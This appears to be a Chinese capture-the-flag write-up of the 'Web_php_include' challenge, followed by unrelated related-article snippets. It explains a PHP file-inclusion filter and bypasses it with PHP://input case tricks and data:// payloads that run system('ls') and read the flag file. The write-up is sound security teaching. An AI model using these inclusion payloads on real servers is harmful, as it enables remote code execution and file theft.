0x01 函数分析

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>

strstr():

定义和用法:

  • 搜索字符串在另一个字符串中是否存在,如果是,返回字符串及剩余部分,否则返回false。
  • 区分大小写,stristr()函数不区分大小写

语法:

strstr(string,search,before_search)

  • string:必需,被搜索的字符串
  • search:必需,要搜索的字符串,若是数字,则搜索对应的ASCII值的字符
  • before_search:可选,默认为“false”,若为true,将返回search参数第一次出现之前的字符串部分
//实例
<?php
echo strstr("helloworld","wor"),PHP_EOL;
echo strstr("helloworld","wor",true),PHP_EOL;
echo strstr("Helloworld!",111),PHP_EOL;//111ASCII为O
$a=strstr("Helloworld!",'ooo',true);
var_dump($a);
$b=strstr("Helloworld!",'ooo');
var_dump($b);
?> world
hello
oworld!
bool(false)
bool(false)

str_replace():

定义和用法:

  • 以其它字符替换字符串中的一些字符(区分大小写)

语法:

str_replace(find,replace,string,count)

  • find,必需,要查找的值
  • replace,必需,要替换的值
  • string,必需,被搜索的字符串
  • count,可选,替换次数

0x02

此题为文件包含,过滤掉php://伪协议,可以使用其它伪协议结题。

方法1:大小写绕过

strstr()函数区分大小写,所以使用PHP://input

方法2:date://伪协议

payload
?page=data://text/plain,<?php system("ls")?>
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4= //base64编码

?page=data://text/plain,<?php system("cat fl4gisisish3r3.php")?>

0x03伪协议

1、伪协议种类

  • file:// 访问本地文件系统
  • http:// 访问http(s)网址
  • ftp:// 访问ftp
  • php:// 访问各个输入/输出流
  • zlib:// 压缩流
  • data:// 数据
  • rar:// RAR压缩包
  • ogg:// 音频流

2、造成文件包含漏洞的函数

include、require、include_once、require_once、highlight_file、show_source、file_get_contents、fopen、file、readline

3、php伪协议

  • php://input,用于执行php代码,需要post请求提交数据。
  • php://filter,用于读取源码,get提交参数。?a=php://filter/read=convert.base64/resource=xxx.php
  • 需要开启allow_url_fopen:php://input、php://stdin、php://memory、php://temp
  • 不需要开启allow_url_fopen:php://filter

4、data协议

用法:

data://text/plain,xxxx(要执行的php代码)

data://text/plain;base64,xxxx(base64编码后的数据)

例:

?page=data://text/plain,

?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4=

5、file协议

用法:

file://[本地文件系统的绝对路径]

参考链接:

https://blog.csdn.net/weixin_43818995/article/details/104164700

https://blog.csdn.net/szuaurora/article/details/78141126

https://www.cnblogs.com/-an-/p/12372220.html

Web_php_include的更多相关文章

  1. 攻防世界-Web_php_include (四种解法)

    攻防世界-Web_php_include   (考察的是文件包含) 打开页面是这样一段代码从代码中得知page中带有php://的都会被替换成空 str_replace()以其他字符替换字符串中的一些 ...

  2. 攻防世界(五)Web_php_include

    攻防世界系列:Web_php_include 方法一:大小写绕过 strstr()函数对php我协议进行了过滤,但我们可以尝试大小写绕过 抓包POST传值让其执行我们输入的命令 ?page=Php:/ ...

  3. 攻防世界 web_php_include

    Web_php_include 进入题目源码直接出来了 <?php show_source(__FILE__); echo $_GET['hello']; $page=$_GET['page'] ...

  4. 攻防世界之Web_php_include

    题目: 解题思路: 直接给出源码,由代码可知此题应该为文件包含,而且应该利用php伪协议 strstr() 函数搜索字符串在另一字符串中是否存在,如果是,返回该字符串及剩余部分,否则返回FALSE 可 ...

  5. 攻防世界(XCTF)WEB(进阶区)write up(四)

    ics-07  Web_php_include  Zhuanxv Web_python_template_injection ics-07 题前半部分是php弱类型 这段说当传入的id值浮点值不能为1 ...

  6. XCTF-WEB-高手进阶区(1-4)笔记

    1:baby_web 题目描述:想想初始页面是哪个 通过Dirsearch软件扫描发现Index.php被藏起来了,访问他便会指向1.php 于是通过Burp修改Get为index.php,然后放入R ...

  7. php include文件包含

    XCTF题目:Web_php_include <?php show_source(__FILE__);//高亮显示源文件 echo $_GET['hello']; $page=$_GET['pa ...

  8. 攻防世界 - Web(一)

    baby_web: 1.根据题目提示,初始页面即为index,将1.php改为index.php,发现依然跳转成1.php,尝试修改抓包,出现如下回显, 2.在header中获取flag, flag: ...

  9. 攻防世界Web刷题记录(进阶区)

    攻防世界Web刷题记录(进阶区) 1.baby_web 发现去掉URLhttp://111.200.241.244:51461/1.php后面的1.php,还是会跳转到http://111.200.2 ...

随机推荐

  1. Joomla 3.4.6 RCE 分析

    Joomla 3.4.6 RCE 漏洞分析,首发先知社区: https://xz.aliyun.com/t/6522 漏洞环境及利用 Joomla 3.4.6 : https://downloads. ...

  2. 彻底弄懂GMT、UTC、时区和夏令时

    前言 格林威治时间.世界时.祖鲁时间.GMT.UTC.跨时区.夏令时,这些眼花缭乱的时间术语,我们可能都不陌生,但是真正遇到问题,可能又不那么确定,不得不再去查一查,处理完可能过段时间又忘记.今天,我 ...

  3. 2020/4/26 大数据的zookeeper分布式安装

    大数据的zookeeper分布式安装 **** 前面的文章已经提到Hadoop的伪分布式安装.现在就在原有的基础上安装zookeeper. 首先启动Hadoop平台 [root@master ~]# ...

  4. Docker 安装 Jenkins , 并解决初始安装插件失败

    安装 Jenkins 后,初始化下载插件总是失败,导致安装不成功,重试好几次都是卡在安装插件那. 这里记录下 Docker 下怎么安装 Jenkins ,并解决初始安装插件失败问题. 安装插件失败,其 ...

  5. caddy配置php-fpm

    特码的,谷歌又用不了了. 吐槽完毕,正文如下: caddy是一个用go语言开发的服务器,可用作web端. caddy本身支持 -conf caddyfile的配置 在命令行中的体现: caddy -c ...

  6. PHP中的数据库操作

    PDO project data object 连接到数据库 $db=new PDO("mysql:dbname=database;host=sever","userna ...

  7. 2019-2020-1 20199325《Linux内核原理与分析》第三周作业

    在实验楼当中进行实验3的实践:主要是针对cpu占用分配,使用时间片轮转算法进行分配 在Shell命令当中输入如下代码: $ cd ~/LinuxKernel/linux-3.9.4 $ rm -rf ...

  8. QT bug ig9icd64.dll

    QT bug ig9icd64.dll bugintel ig9icd64.dll 处有未经处理的异常 遇到了一个 奇奇怪怪的bug, 一般的QT程序中 在main.cpp 中初始化一个窗口进行显示后 ...

  9. SpringBoot应用操作Rabbitmq

    记录RabbitMQ的简单应用 1.springboot项目中引入maven包,也是springboot官方的插件 <dependency> <groupId>org.spri ...

  10. Mac自带编码转换工具iconv

    iconv --help Usage: iconv [OPTION...] [-f ENCODING] [-t ENCODING] [INPUTFILE...] or: iconv -l Conver ...